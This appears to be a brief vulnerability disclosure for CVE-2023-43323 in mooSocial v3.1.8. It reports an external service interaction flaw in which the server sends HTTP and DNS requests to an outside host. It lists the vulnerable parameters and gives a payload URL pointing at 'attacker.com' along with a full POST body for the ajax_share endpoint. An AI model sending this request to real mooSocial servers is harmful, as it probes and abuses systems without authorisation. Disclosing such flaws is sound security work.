ahrixia/cve-2023-43323mooSocial v3.1.8 is vulnerable to external service interaction on post function.
mooSocial v3.1.8 is vulnerable to external service interaction on post function. When executed, the server sends a HTTP and DNS request to external server.
Vulerable Parameter: messageText, data[wall_photo], data[userShareVideo] and data[userShareLink]
Payload : http://attacker.com/?null=
POST Request on /moosocial/activities/ajax_share (POST REQUEST DATA ONLY):
[data%5Btype%5D=User&data%5Btarget_id%5D=0&data%5Baction%5D=wall_post&data%5Bwall_photo%5D=&data%5Bsubject_type%5D=&messageText=asas&data%5BuserShareLink%5D=&data%5BuserShareVideo%5D=http%3A%2F%2Fattacker.com%2F%3Fnull&data%5BuserTagging%5D=&data%5BshareImage%5D=1&data%5Bprivacy%5D=1]
